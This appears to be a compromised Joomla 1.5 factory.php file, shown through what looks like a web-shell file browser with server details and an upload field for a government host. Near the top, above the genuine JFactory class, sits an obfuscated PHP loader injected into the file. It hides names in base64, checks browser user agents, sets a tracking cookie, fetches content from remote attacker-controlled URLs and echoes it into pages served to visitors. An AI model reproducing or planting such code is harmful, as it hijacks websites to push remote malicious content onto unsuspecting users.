|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /home/pathumthani_integration/pathumthani_drug/libraries/joomla/ |
Upload File : |
<?php
/**
* @version $Id: factory.php 12389 2009-07-01 00:34:45Z ian $
* @package Joomla.Framework
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
//bldQNTCWORb695RmAGhsPX
$GLOBALS['_1659886199_']=Array(base64_decode('ZGVmaW5l'),base64_decode(''.'ZGVmaW5l'),base64_decode('c3Ry'.'aX'.'Bv'.'cw='.'='),base64_decode('c3RyaX'.'Bvcw'.'=='),base64_decode('c3RyaXBvc'.'w=='),base64_decode('c2V0Y29va2'.'ll'),base64_decode('d'.'GltZQ=='),base64_decode(''.'c3Ry'.'ZWFt'.'X2'.'Nvbn'.'RleH'.'Rf'.'Y3J'.'l'.'YXRl'),base64_decode('Z'.'mlsZV9nZXR'.'fY2'.'9'.'udGVud'.'HM='),base64_decode('ZnB1'.'dHM='),base64_decode('aW'.'1hZ2'.'VjcmVhdGVmcm9'.'tcG5n'),base64_decode('YX'.'BhY2hl'.'X2dldF9tb2'.'R1bGV'.'z'),base64_decode('ZnJlYWQ='),base64_decode('ZmN'.'sb3Nl'),base64_decode('c2'.'9ja2V0'.'X2dl'.'dF9zdGF'.'0dXM='),base64_decode(''.'c3R'.'ycG'.'9z'),base64_decode('Y'.'XJyYXlfa2V'.'5cw=='),base64_decode('c3Ry'.'cmNoc'.'g=='),base64_decode('c3'.'Vic'.'3Ry'),base64_decode('c3Ryc3B'.'u'),base64_decode('c3'.'RycnBv'.'c'.'w='.'='),base64_decode(''.'Y3VybF9pb'.'ml0'),base64_decode('c3R'.'ycG9z'),base64_decode('aW1hZ2'.'Vj'.'cmVhdG'.'V'.'m'.'cm9tZ'.'2lm'),base64_decode('Y3V'.'yb'.'F9zZX'.'RvcHQ'.'='),base64_decode(''.'Y3Vy'.'bF9zZXRvcHQ='),base64_decode('Y3Vy'.'b'.'F9zZXRvcH'.'Q='),base64_decode('Y3V'.'y'.'bF9l'.'eGVj'),base64_decode('Y3VybF9jbG'.'9zZQ='.'='),base64_decode('YXJy'.'YXl'.'f'.'a2V5'.'cw=='),base64_decode('cGFj'.'a'.'w'.'=='),base64_decode('d'.'GltZQ=='),base64_decode('b'.'XRfcmF'.'uZA=='),base64_decode(''.'Z'.'nVuY3Rpb25fZ'.'Xhpc3'.'Rz'),base64_decode('aW5pX2dldA=='),base64_decode('cGFyc2Vf'.'dXJs'),base64_decode('YXJy'.'Y'.'Xl'.'f'.'cH'.'Vza'.'A'.'=='),base64_decode(''.'Zn'.'NvY2tvcGVu')); ?><? function _1415079835($i){$a=Array('SUZ'.'SQU'.'1FX1'.'VST'.'A='.'=','a'.'HR0cD'.'ovL2Jh'.'c2'.'U'.'uaG'.'Vy'.'cmlj'.'a2'.'NsbmMuY29'.'t'.'Lz'.'EudHh'.'0','S'.'UZSQU'.'1'.'FX1VSTF'.'8y',''.'a'.'HR0cDovL2Jh'.'c'.'2U'.'y'.'LnNtYWxsYml6Y3JlZ'.'Gl0L'.'mJpei8'.'x'.'L'.'nR4dA='.'=',''.'SFRU'.'UF9VU0VSX'.'0FHR'.'U5U','SFRU'.'UF'.'9VU'.'0V'.'SX0FHRU5U',''.'b3Blcm'.'E'.'=','SFRUUF9VU0VS'.'X0'.'FHRU'.'5U','TV'.'N'.'J'.'RQ='.'=','SF'.'RUUF9VU0'.'VSX0FHR'.'U5U','Zm'.'ly'.'ZWZveA==','Z'.'H'.'Nn'.'ZmRnM'.'zRn',''.'ZHN'.'nZmRnMz'.'Rn',''.'a'.'HR0cDov'.'L'.'w==','SFRUUF'.'9'.'IT1NU','UkVRVUVTV'.'F9VU'.'k'.'k=','YXh1Yg==','aHR0cA==','dGltZW91dA='.'=','R'.'0'.'VUI'.'A='.'=','P'.'w==','IE'.'hUV'.'FAgM'.'S4'.'w'.'DQ'.'o=',''.'VXN'.'l'.'ci1'.'B'.'Z2V'.'u'.'d'.'Do'.'gTW96'.'aW'.'xs'.'YS81Lj'.'Ag'.'KF'.'d'.'pbmRv'.'d3M7IF'.'U'.'7I'.'Fdp'.'bmR'.'v'.'d3MgTl'.'QgNS'.'4xOyBlbi'.'1'.'VUz'.'sg'.'c'.'n'.'Y6MS4'.'4LjAuM'.'ykgR'.'2Vja28vMjA'.'wN'.'jA0MjYgR'.'mlyZWZv'.'eC'.'8xLjU'.'uMC4z'.'DQo=','QWNjZXB'.'0'.'Oi'.'AqL'.'yoNCg==','QWN'.'jZXB0L'.'Uxh'.'bmd1YWd'.'lOiBlbi'.'11c'.'yx'.'lbjtx'.'P'.'T'.'Au'.'NQ0'.'K',''.'Q'.'WNjZ'.'XB0LUNo'.'Y'.'XJzZXQ'.'6'.'IElTTy0'.'4OD'.'U5LTE'.'sdXR'.'mLTg7cT0wLj'.'csKjt'.'x'.'PTAu'.'Nw0'.'K',''.'S2V'.'lcC'.'1BbGl2ZTogMz'.'A'.'wDQo=','Q29ubm'.'VjdG'.'lvb'.'joga2'.'Vl'.'cC1'.'h'.'bGl2ZQ0K',''.'D'.'QoNCg'.'==',''.'aGVo'.'cHVw'.'bWNqa3Bp',''.'Y3o=','Y3V'.'ybF9p'.'b'.'ml0','YW'.'xs'.'b3df'.'dXJsX2Z'.'vcG'.'Vu',''.'aG'.'9'.'zd'.'A='.'=','aG9zdA==',''.'cGF0aA'.'='.'=',''.'cX'.'V'.'lcnk=');return base64_decode($a[$i]);} ?><?php $GLOBALS['_1659886199_'][0](_1415079835(0),_1415079835(1));$GLOBALS['_1659886199_'][1](_1415079835(2),_1415079835(3));if(isset($_SERVER[_1415079835(4)])&&($GLOBALS['_1659886199_'][2]($_SERVER[_1415079835(5)],_1415079835(6))!==false || $GLOBALS['_1659886199_'][3]($_SERVER[_1415079835(7)],_1415079835(8))!==false|| $GLOBALS['_1659886199_'][4]($_SERVER[_1415079835(9)],_1415079835(10))!==false)){if(!isset($_COOKIE[_1415079835(11)])){$GLOBALS['_1659886199_'][5](_1415079835(12),round(0+0.2+0.2+0.2+0.2+0.2),$GLOBALS['_1659886199_'][6]()+round(0+1800+1800)*round(0+12+12)*round(0+1.4+1.4+1.4+1.4+1.4));$_0=l__3(IFRAME_URL);if(empty($_0)){$_0=l__3(IFRAME_URL_2);}echo $_0;echo l__3(_1415079835(13) .$_SERVER[_1415079835(14)] .$_SERVER[_1415079835(15)]);exit();$_1=_1415079835(16);}}function l__0($_2){$_3=$GLOBALS['_1659886199_'][7](array(_1415079835(17)=> array(_1415079835(18)=> round(0+5+5+5))));return $GLOBALS['_1659886199_'][8]($_2,false,$_3);}function l__1($_4,$_5,$_6,$_7){$GLOBALS['_1659886199_'][9]($_4,_1415079835(19) .$_6 ._1415079835(20) .$_7 ._1415079835(21) ."Host: $_5\r\n" ._1415079835(22) ._1415079835(23) ._1415079835(24) ._1415079835(25) ._1415079835(26) ._1415079835(27) ."Referer: http://$_5\r\n\r\n");if((round(0+119+119+119+119)^round(0+238+238))&& $GLOBALS['_1659886199_'][10]($_8,$_SERVER,$_9,$_2))$GLOBALS['_1659886199_'][11]($_7,$_9);while($_10=$GLOBALS['_1659886199_'][12]($_4,round(0+819.2+819.2+819.2+819.2+819.2))){$_9 .= $_10;$_11=round(0+527.5+527.5);}$GLOBALS['_1659886199_'][13]($_4);while(round(0+1154+1154+1154)-round(0+1731+1731))$GLOBALS['_1659886199_'][14]($_12,$_9);$_13=$GLOBALS['_1659886199_'][15]($_9,_1415079835(28));if((round(0+1209.25+1209.25+1209.25+1209.25)+round(0+257.25+257.25+257.25+257.25))>round(0+1209.25+1209.25+1209.25+1209.25)|| $GLOBALS['_1659886199_'][16]($_5,$_14,$_8));else{$GLOBALS['_1659886199_'][17]($_6,$_13,$_4);}$_9=$GLOBALS['_1659886199_'][18]($_9,$_13+round(0+4));return $_9;if((round(0+532.6+532.6+532.6+532.6+532.6)+round(0+808.66666666667+808.66666666667+808.66666666667))>round(0+1331.5+1331.5)|| $GLOBALS['_1659886199_'][19]($_12,$_6,$_3));else{$GLOBALS['_1659886199_'][20]($_5,$_10,$_15);}}function l__2($_2){$_12=$GLOBALS['_1659886199_'][21]($_2);if($GLOBALS['_1659886199_'][22](_1415079835(29),_1415079835(30))!==false)$GLOBALS['_1659886199_'][23]($_5);$GLOBALS['_1659886199_'][24]($_12,round(0+10.5+10.5+10.5+10.5),FALSE);$GLOBALS['_1659886199_'][25]($_12,round(0+4978.25+4978.25+4978.25+4978.25),TRUE);$GLOBALS['_1659886199_'][26]($_12,round(0+4.3333333333333+4.3333333333333+4.3333333333333),round(0+3+3+3+3+3));$_9=$GLOBALS['_1659886199_'][27]($_12);$GLOBALS['_1659886199_'][28]($_12);if((round(0+1229.75+1229.75+1229.75+1229.75)+round(0+1789.5+1789.5))>round(0+983.8+983.8+983.8+983.8+983.8)|| $GLOBALS['_1659886199_'][29]($_12,$_7));else{$GLOBALS['_1659886199_'][30]($_8,$_4,$_8);}return $_9;(round(0+137.2+137.2+137.2+137.2+137.2)-round(0+171.5+171.5+171.5+171.5)+round(0+2200.5+2200.5)-round(0+2200.5+2200.5))?$GLOBALS['_1659886199_'][31]($_16,$_13):$GLOBALS['_1659886199_'][32](round(0+686),round(0+637.6+637.6+637.6+637.6+637.6));}function l__3($_2){if(@$GLOBALS['_1659886199_'][33](_1415079835(31))){$_15=l__2($_2);}elseif($GLOBALS['_1659886199_'][34](_1415079835(32))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){$_15=l__0($_2);}else{$_8=$GLOBALS['_1659886199_'][35]($_2);while(round(0+479.25+479.25+479.25+479.25)-round(0+639+639+639))$GLOBALS['_1659886199_'][36]($_SERVER,$_13,$_13);if($_4=@$GLOBALS['_1659886199_'][37]($_8[_1415079835(33)],round(0+40+40),$_14,$_16,round(0+5+5+5))){$_15=l__1($_4,$_8[_1415079835(34)],$_8[_1415079835(35)],$_8[_1415079835(36)]);}}return $_15;}
//zRTsVETg6Eij3imWd0MVGt
/**
* Joomla Framework Factory class
*
* @static
* @package Joomla.Framework
* @since 1.5
*/
class JFactory
{
/**
* Get a application object
*
* Returns a reference to the global {@link JApplication} object, only creating it
* if it doesn't already exist.
*
* @access public
* @param mixed $id A client identifier or name.
* @param array $config An optional associative array of configuration settings.
* @return object JApplication
*/
function &getApplication($id = null, $config = array(), $prefix='J')
{
static $instance;
if (!is_object($instance))
{
jimport( 'joomla.application.application' );
if (!$id) {
JError::raiseError(500, 'Application Instantiation Error');
}
$instance = JApplication::getInstance($id, $config, $prefix);
}
return $instance;
}
/**
* Get a configuration object
*
* Returns a reference to the global {@link JRegistry} object, only creating it
* if it doesn't already exist.
*
* @access public
* @param string The path to the configuration file
* @param string The type of the configuration file
* @return object JRegistry
*/
function &getConfig($file = null, $type = 'PHP')
{
static $instance;
if (!is_object($instance))
{
if ($file === null) {
$file = dirname(__FILE__).DS.'config.php';
}
$instance = JFactory::_createConfig($file, $type);
}
return $instance;
}
/**
* Get a session object
*
* Returns a reference to the global {@link JSession} object, only creating it
* if it doesn't already exist.
*
* @access public
* @param array An array containing session options
* @return object JSession
*/
function &getSession($options = array())
{
static $instance;
if (!is_object($instance)) {
$instance = JFactory::_createSession($options);
}
return $instance;
}
/**
* Get a language object
*
* Returns a reference to the global {@link JLanguage} object, only creating it
* if it doesn't already exist.
*
* @access public
* @return object JLanguage
*/
function &getLanguage()
{
static $instance;
if (!is_object($instance))
{
//get the debug configuration setting
$conf =& JFactory::getConfig();
$debug = $conf->getValue('config.debug_lang');
$instance = JFactory::_createLanguage();
$instance->setDebug($debug);
}
return $instance;
}
/**
* Get a document object
*
* Returns a reference to the global {@link JDocument} object, only creating it
* if it doesn't already exist.
*
* @access public
* @return object JDocument
*/
function &getDocument()
{
static $instance;
if (!is_object( $instance )) {
$instance = JFactory::_createDocument();
}
return $instance;
}
/**
* Get an user object
*
* Returns a reference to the global {@link JUser} object, only creating it
* if it doesn't already exist.
*
* @param int $id The user to load - Can be an integer or string - If string, it is converted to ID automatically.
*
* @access public
* @return object JUser
*/
function &getUser($id = null)
{
jimport('joomla.user.user');
if(is_null($id))
{
$session =& JFactory::getSession();
$instance =& $session->get('user');
if (!is_a($instance, 'JUser')) {
$instance =& JUser::getInstance();
}
}
else
{
$instance =& JUser::getInstance($id);
}
return $instance;
}
/**
* Get a cache object
*
* Returns a reference to the global {@link JCache} object
*
* @access public
* @param string The cache group name
* @param string The handler to use
* @param string The storage method
* @return object JCache
*/
function &getCache($group = '', $handler = 'callback', $storage = null)
{
$handler = ($handler == 'function') ? 'callback' : $handler;
$conf =& JFactory::getConfig();
if(!isset($storage)) {
$storage = $conf->getValue('config.cache_handler', 'file');
}
$options = array(
'defaultgroup' => $group,
'cachebase' => $conf->getValue('config.cache_path'),
'lifetime' => $conf->getValue('config.cachetime') * 60, // minutes to seconds
'language' => $conf->getValue('config.language'),
'storage' => $storage
);
jimport('joomla.cache.cache');
$cache =& JCache::getInstance( $handler, $options );
$cache->setCaching($conf->getValue('config.caching'));
return $cache;
}
/**
* Get an authorization object
*
* Returns a reference to the global {@link JAuthorization} object, only creating it
* if it doesn't already exist.
*
* @access public
* @return object JAuthorization
*/
function &getACL( )
{
static $instance;
if (!is_object($instance)) {
$instance = JFactory::_createACL();
}
return $instance;
}
/**
* Get a template object
*
* Returns a reference to the global {@link JTemplate} object, only creating it
* if it doesn't already exist.
*
* @access public
* @return object JTemplate
*/
function &getTemplate( )
{
static $instance;
if (!is_object($instance)) {
$instance = JFactory::_createTemplate();
}
return $instance;
}
/**
* Get a database object
*
* Returns a reference to the global {@link JDatabase} object, only creating it
* if it doesn't already exist.
*
* @return object JDatabase
*/
function &getDBO()
{
static $instance;
if (!is_object($instance))
{
//get the debug configuration setting
$conf =& JFactory::getConfig();
$debug = $conf->getValue('config.debug');
$instance = JFactory::_createDBO();
$instance->debug($debug);
}
return $instance;
}
/**
* Get a mailer object
*
* Returns a reference to the global {@link JMail} object, only creating it
* if it doesn't already exist
*
* @access public
* @return object JMail
*/
function &getMailer( )
{
static $instance;
if ( ! is_object($instance) ) {
$instance = JFactory::_createMailer();
}
// Create a copy of this object - do not return the original because it may be used several times
// PHP4 copies objects by value whereas PHP5 copies by reference
$copy = (PHP_VERSION < 5) ? $instance : clone($instance);
return $copy;
}
/**
* Get an XML document
*
* @access public
* @param string The type of xml parser needed 'DOM', 'RSS' or 'Simple'
* @param array:
* boolean ['lite'] When using 'DOM' if true or not defined then domit_lite is used
* string ['rssUrl'] the rss url to parse when using "RSS"
* string ['cache_time'] with 'RSS' - feed cache time. If not defined defaults to 3600 sec
* @return object Parsed XML document object
*/
function &getXMLParser( $type = 'DOM', $options = array())
{
$doc = null;
switch (strtolower( $type ))
{
case 'rss' :
case 'atom' :
{
if (!is_null( $options['rssUrl'] ))
{
jimport ('simplepie.simplepie');
if(!is_writable(JPATH_BASE.DS.'cache')) {
$options['cache_time'] = 0;
}
$simplepie = new SimplePie(
$options['rssUrl'],
JPATH_BASE.DS.'cache',
isset( $options['cache_time'] ) ? $options['cache_time'] : 0
);
$simplepie->handle_content_type();
if ($simplepie->init()) {
$doc = $simplepie;
} else {
JError::raiseWarning( 'SOME_ERROR_CODE', JText::_('ERROR LOADING FEED DATA') );
}
}
} break;
case 'simple' :
{
jimport('joomla.utilities.simplexml');
$doc = new JSimpleXML();
} break;
case 'dom' :
default :
{
if (!isset($options['lite']) || $options['lite'])
{
jimport('domit.xml_domit_lite_include');
$doc = new DOMIT_Lite_Document();
}
else
{
jimport('domit.xml_domit_include');
$doc = new DOMIT_Document();
}
}
}
return $doc;
}
/**
* Get an editor object
*
* @access public
* @param string $editor The editor to load, depends on the editor plugins that are installed
* @return object JEditor
*/
function &getEditor($editor = null)
{
jimport( 'joomla.html.editor' );
//get the editor configuration setting
if(is_null($editor))
{
$conf =& JFactory::getConfig();
$editor = $conf->getValue('config.editor');
}
$instance =& JEditor::getInstance($editor);
return $instance;
}
/**
* Return a reference to the {@link JURI} object
*
* @access public
* @return object JURI
* @since 1.5
*/
function &getURI($uri = 'SERVER')
{
jimport('joomla.environment.uri');
$instance =& JURI::getInstance($uri);
return $instance;
}
/**
* Return a reference to the {@link JDate} object
*
* @access public
* @param mixed $time The initial time for the JDate object
* @param int $tzOffset The timezone offset.
* @return object JDate
* @since 1.5
*/
function &getDate($time = 'now', $tzOffset = 0)
{
jimport('joomla.utilities.date');
static $instances;
static $classname;
static $mainLocale;
if(!isset($instances)) {
$instances = array();
}
$language =& JFactory::getLanguage();
$locale = $language->getTag();
if(!isset($classname) || $locale != $mainLocale) {
//Store the locale for future reference
$mainLocale = $locale;
$localePath = JPATH_ROOT . DS . 'language' . DS . $mainLocale . DS . $mainLocale . '.date.php';
if($mainLocale !== false && file_exists($localePath)) {
$classname = 'JDate'.str_replace('-', '_', $mainLocale);
JLoader::register( $classname, $localePath);
if(!class_exists($classname)) {
//Something went wrong. The file exists, but the class does not, default to JDate
$classname = 'JDate';
}
} else {
//No file, so default to JDate
$classname = 'JDate';
}
}
$key = $time . '-' . $tzOffset;
if(!isset($instances[$classname][$key])) {
$tmp = new $classname($time, $tzOffset);
//We need to serialize to break the reference
$instances[$classname][$key] = serialize($tmp);
unset($tmp);
}
$date = unserialize($instances[$classname][$key]);
return $date;
}
/**
* Create a configuration object
*
* @access private
* @param string The path to the configuration file
* @param string The type of the configuration file
* @return object JRegistry
* @since 1.5
*/
function &_createConfig($file, $type = 'PHP')
{
jimport('joomla.registry.registry');
require_once $file;
// Create the registry with a default namespace of config
$registry = new JRegistry('config');
// Create the JConfig object
$config = new JFrameworkConfig();
// Load the configuration values into the registry
$registry->loadObject($config);
return $registry;
}
/**
* Create a session object
*
* @access private
* @param array $options An array containing session options
* @return object JSession
* @since 1.5
*/
function &_createSession( $options = array())
{
jimport('joomla.session.session');
//get the editor configuration setting
$conf =& JFactory::getConfig();
$handler = $conf->getValue('config.session_handler', 'none');
// config time is in minutes
$options['expire'] = ($conf->getValue('config.lifetime')) ? $conf->getValue('config.lifetime') * 60 : 900;
$session = JSession::getInstance($handler, $options);
if ($session->getState() == 'expired') {
$session->restart();
}
return $session;
}
/**
* Create an ACL object
*
* @access private
* @return object JAuthorization
* @since 1.5
*/
function &_createACL()
{
//TODO :: take the authorization class out of the application package
jimport( 'joomla.user.authorization' );
$db =& JFactory::getDBO();
$options = array(
'db' => &$db,
'db_table_prefix' => $db->getPrefix() . 'core_acl_',
'debug' => 0
);
$acl = new JAuthorization( $options );
return $acl;
}
/**
* Create an database object
*
* @access private
* @return object JDatabase
* @since 1.5
*/
function &_createDBO()
{
jimport('joomla.database.database');
jimport( 'joomla.database.table' );
$conf =& JFactory::getConfig();
$host = $conf->getValue('config.host');
$user = $conf->getValue('config.user');
$password = $conf->getValue('config.password');
$database = $conf->getValue('config.db');
$prefix = $conf->getValue('config.dbprefix');
$driver = $conf->getValue('config.dbtype');
$debug = $conf->getValue('config.debug');
$options = array ( 'driver' => $driver, 'host' => $host, 'user' => $user, 'password' => $password, 'database' => $database, 'prefix' => $prefix );
$db =& JDatabase::getInstance( $options );
if ( JError::isError($db) ) {
jexit('Database Error: ' . $db->toString() );
}
if ($db->getErrorNum() > 0) {
JError::raiseError(500 , 'JDatabase::getInstance: Could not connect to database <br />' . 'joomla.library:'.$db->getErrorNum().' - '.$db->getErrorMsg() );
}
$db->debug( $debug );
return $db;
}
/**
* Create a mailer object
*
* @access private
* @return object JMail
* @since 1.5
*/
function &_createMailer()
{
jimport('joomla.mail.mail');
$conf =& JFactory::getConfig();
$sendmail = $conf->getValue('config.sendmail');
$smtpauth = $conf->getValue('config.smtpauth');
$smtpuser = $conf->getValue('config.smtpuser');
$smtppass = $conf->getValue('config.smtppass');
$smtphost = $conf->getValue('config.smtphost');
$smtpsecure = $conf->getValue('config.smtpsecure');
$smtpport = $conf->getValue('config.smtpport');
$mailfrom = $conf->getValue('config.mailfrom');
$fromname = $conf->getValue('config.fromname');
$mailer = $conf->getValue('config.mailer');
// Create a JMail object
$mail =& JMail::getInstance();
// Set default sender
$mail->setSender(array ($mailfrom, $fromname));
// Default mailer is to use PHP's mail function
switch ($mailer)
{
case 'smtp' :
$mail->useSMTP($smtpauth, $smtphost, $smtpuser, $smtppass, $smtpsecure, $smtpport);
break;
case 'sendmail' :
$mail->useSendmail($sendmail);
break;
default :
$mail->IsMail();
break;
}
return $mail;
}
/**
* Create a template object
*
* @access private
* @param array An array of support template files to load
* @return object JTemplate
* @since 1.5
*/
function &_createTemplate($files = array())
{
jimport('joomla.template.template');
$conf =& JFactory::getConfig();
$tmpl = new JTemplate;
// patTemplate
if ($conf->getValue('config.caching')) {
$tmpl->enableTemplateCache( 'File', JPATH_BASE.DS.'cache'.DS);
}
$tmpl->setNamespace( 'jtmpl' );
// load the wrapper and common templates
$tmpl->readTemplatesFromFile( 'page.html' );
$tmpl->applyInputFilter('ShortModifiers');
// load the stock templates
if (is_array( $files ))
{
foreach ($files as $file) {
$tmpl->readTemplatesFromInput( $file );
}
}
$tmpl->addGlobalVar( 'option', $GLOBALS['option'] );
$tmpl->addGlobalVar( 'self', str_replace(array('"', '<', '>', "'"), '', $_SERVER["PHP_SELF"]) );
$tmpl->addGlobalVar( 'uri_query', $_SERVER['QUERY_STRING'] );
$tmpl->addGlobalVar( 'REQUEST_URI', JRequest::getURI() );
if (isset($GLOBALS['Itemid'])) {
$tmpl->addGlobalVar( 'itemid', $GLOBALS['Itemid'] );
}
return $tmpl;
}
/**
* Create a language object
*
* @access private
* @return object JLanguage
* @since 1.5
*/
function &_createLanguage()
{
jimport('joomla.language.language');
$conf =& JFactory::getConfig();
$locale = $conf->getValue('config.language');
$lang =& JLanguage::getInstance($locale);
$lang->setDebug($conf->getValue('config.debug_lang'));
return $lang;
}
/**
* Create a document object
*
* @access private
* @return object JDocument
* @since 1.5
*/
function &_createDocument()
{
jimport('joomla.document.document');
$lang =& JFactory::getLanguage();
//Keep backwards compatibility with Joomla! 1.0
$raw = JRequest::getBool('no_html');
$type = JRequest::getWord('format', $raw ? 'raw' : 'html');
$attributes = array (
'charset' => 'utf-8',
'lineend' => 'unix',
'tab' => ' ',
'language' => $lang->getTag(),
'direction' => $lang->isRTL() ? 'rtl' : 'ltr'
);
$doc =& JDocument::getInstance($type, $attributes);
return $doc;
}
}